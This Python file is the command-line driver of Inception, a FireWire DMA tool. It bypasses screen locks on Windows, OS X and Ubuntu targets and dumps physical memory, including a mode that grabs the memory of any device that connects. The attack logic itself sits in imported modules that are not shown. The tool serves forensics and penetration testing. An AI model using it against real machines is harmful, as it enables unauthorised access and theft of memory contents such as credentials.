#!/usr/bin/env python3
'''
Inception - a FireWire physical memory manipulation and hacking tool exploiting
IEEE 1394 SBP-2 DMA.

Copyright (C) 2012  Carsten Maartmann-Moe

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.

Created on Oct 15, 2011

@author: Carsten Maartmann-Moe <carsten@carmaa.com> aka ntropy <n@tropy.org>
'''

from inception import screenlock, memdump, pickpocket
from inception.firewire import FireWire
from inception.util import msg, fail, separator, detectos, unloadIOFireWireIP
import inception.settings as settings
import getopt
import os
import sys
import traceback
from subprocess import call

def main(argv):
    attackos = 0 

    settings.encoding = sys.getdefaultencoding()
    
    # Initialize
    targets = settings.targets
    
    # Detect host OS
    settings.os = detectos()
    
    # Parse args
    try:
        opts, args = getopt.getopt(argv[1:], 'NPSTA:bd:Df:hlvw:npu', 
                                   ['not-interactive', 'play', 'cardstate', 'targetos', 'attackos=', 'businfo', 'dump=', 'dump-all', 'file=', 'force-write', 'help', 'list', 'verbose', 'wait=', 'no-write', 'pickpocket', 'unload'])
    except getopt.GetoptError as err:
        msg('!', err)
        usage(argv[0])
        sys.exit(2)
    for opt, arg in opts:
        if opt in ('-h', '--help'):
            usage(argv[0])
            sys.exit()
        elif opt in ('-N', '--not-interactive'):
            settings.interactive = False
        elif opt in ('-P', '--plug'):
            call('modprobe -r acpiphp firewire-ohci', shell=True)
            status = call('modprobe acpiphp', shell=True)
            if status == 0:
                msg('*', 'Plug and play for FireWire Express card actived!')
            else:
                msg('!', 'Plug and play for FireWire Express card failed!')
            return
        elif opt in ('-S', '--cardstate'):
            settings.printstate = True
        elif opt in ('-T', '--targetos'):
            settings.targetos = True
        elif opt in ('-A', '--attackos'):
            attackos = int(arg)
        elif opt in ('-f', '--file'):
            settings.filemode = True
            settings.filename = str(arg)
        elif opt in ('--force-write'):
            settings.forcewrite = True
        elif opt in ('-l', '--list'):
            msg('*', 'Available targets:')
            separator()
            for n, target in enumerate(targets, 1):
                msg(n, target['OS'] + ': ' + target['name'])
            separator()
            sys.exit()
        elif opt in ('-v', '--verbose'):
            settings.verbose = True
        elif opt in ('-w', '--wait'):
            settings.fw_delay = int(arg)
        elif opt in ('-n', '--no-write'):
            settings.dry_run = True
        elif opt in ('-D', '--dump-all'):
            settings.memdump = True
            start = settings.startaddress
            end = settings.memsize
        elif opt in ('-d', '--dump'):
            settings.memdump = True
            try:
                start, size = str(arg).split(',')
                # Fix start
                if '0x' in start:
                    start = int(start, 0) & 0xfffff000 # Address
                else:
                    start = int(start) * settings.PAGESIZE # Page number
                # If the start address is below 1 MiB, the user is overriding
                # default behavior (avoiding memory below 1 MiB)
                if start < settings.startaddress:
                    settings.override = True
                    msg('*', 'Overriding default behavior, accessing memory below 1 MiB')
                # Fix size
                size = size.lower()
                if size.find('kib') != -1 or size.find('kb') != -1:
                    size = int(size.rstrip(' kib')) * settings.KiB
                elif size.find('mib') != -1 or size.find('mb') != -1:
                    size = int(size.rstrip(' mib')) * settings.MiB
                elif size.find('gib') != -1 or size.find('gb') != -1:
                    size = int(size.rstrip(' gib')) * settings.GiB
                else:
                    size = int(size) * settings.PAGESIZE
                if size < settings.PAGESIZE:
                    msg('!', 'Minimum dump size is a page, {0} KiB'.format(settings.PAGESIZE // settings.KiB))
                end = start + size
            except:
                fail('Could not parse argument to {0}'.format(opt))
        elif opt in ('-i', '--interactive'):
            settings.interactive = True
            # TODO: Implement interactive mode
            fail("Option not implemented yet, sorry")
        elif opt in ('-b', '--businfo'):
            fw = FireWire()
            fw.businfo()
            sys.exit()
        elif opt in ('-p' '--pickpocket'):
            settings.pickpocket = True
        elif opt in ('-u' '--unload'):
            if settings.os == settings.OSX:
                unloadIOFireWireIP()
            else:
                fail('Host system is not OS X, aborting')
            sys.exit()
        else:
            assert False, 'Option not handled: ' + opt
    
    # We don't accept any other arguments
    if args:
        msg('!', 'Arguments {0} ignored'.format(', '.join(args)))
    
    if not settings.filemode and not os.geteuid() == 0:
        fail("You must be root to run Inception with FireWire input")
        
    # Here we go
    try:
        if settings.memdump:
            memdump.dump(start, end)
        elif settings.pickpocket:
            if settings.filemode:
                fail("Pickpocket mode is not compatible with file mode")
            pickpocket.lurk()
        else:
            if settings.interactive == False: 
                try:
                    os.makedirs('/opt/td-config/run/inception/')
                except:
                    pass

                os.chdir('/opt/td-config/run/inception/')
                try:
                    os.remove('result')
                except:
                    pass

                try:
                    os.remove('recovery')
                except:
                    pass
            
            address, page = screenlock.attack(targets, attackos)
            if not address or not page:
                if settings.interactive == False:
                    f = open('result', 'a')
                    f.write('FAILED')
                    f.close()

                fail('Could not locate signature(s).')

    except Exception as exc:
        if settings.interactive == False:
            f = open('result', 'a')
            f.write('FAILED')
            f.close()

        msg('!', 'Um, something went wrong: {0}'.format(exc))
        separator()
        traceback.print_exc()
        separator()
    except KeyboardInterrupt:
        if settings.interactive == False:
            f = open('result', 'a')
            f.write('FAILED')
            f.close()

        msg('!', 'Aborted')


def usage(execname):
    print('''Usage: ''' + execname + ''' [OPTIONS]

Inception is a FireWire physical memory manipulation and hacking tool exploiting
IEEE 1394 SBP-2 DMA.

    -N, --not-interactive Work with not interactive mode
    -P, --plug            Plug and play for FireWire Express Card
    -S, --cardstate       Show the firewire card status
    -T, --targetos        Show the target operating system with autodetection
    -A, --attackos=OS     Choose the operating system for attack:
                          1 - Windows 8
                          2 - Windows 7/2008
                          3 - Windows Vista
                          4 - Windows XP
                          5 - Mac OS X 10.6.x/10.7.x/10.8.x
                          6 - Ubuntu 11.x/12.x
    -d, --dump=ADDR,PAGES Non-intrusive memory dump. Dumps PAGES of memory
                          content from ADDR page. Memory content is dumped to 
                          files with the file name syntax:
                          'memdump_START-END.bin'. ADDR can be a page number or 
                          a hexadecimal address within a page. PAGES can be a
                          number of pages or a size of data using the
                          denomination KiB, MiB or GiB. Example: -d 0x00ff,5MiB
                          This command dumps the first 5 MiB of memory
    -D                    Same as above, but dumps all available memory
    -f, --file=FILE:      Use a file instead of FireWire bus data as input; for
                          example to facilitate attacks on VMware machine memory
                          files (.vmem) and to ease testing and signature 
                          creation efforts
    --force-write         Forces patching when using files as input (see -f). By
                          default, Inception does not write back to data files
    -h, --help:           Displays this message
    -l, --list:           Lists configured operating system targets
    -n, --no-write:       Dry run, do not write back to memory
    -p, --pickpocket:     Dump the physical memory of any device that connects
                          to the FireWire bus. This may be useful when
                          exploiting a Daisy chain
    -u, --unload          OS X only: Unloads IOFireWireIP.kext (OS X IP over
                          FireWire module) which are known to cause kernel
                          panics when the host (attacking system) is OS X. Must
                          be executed BEFORE any FireWire devices are connected
                          to the host
    -v, --verbose:        Verbose mode - among other things, this prints read 
                          data to stdout, useful for debugging
    -wait, --wait=TIME:   Delay attack by TIME seconds. This is useful in order
                          to guarantee that the target machine has successfully
                          granted the host DMA before attacking. If the
                          attack fails, try to increase this value. Default
                          delay is 15 seconds.''')


if __name__ == '__main__':
    main(sys.argv)
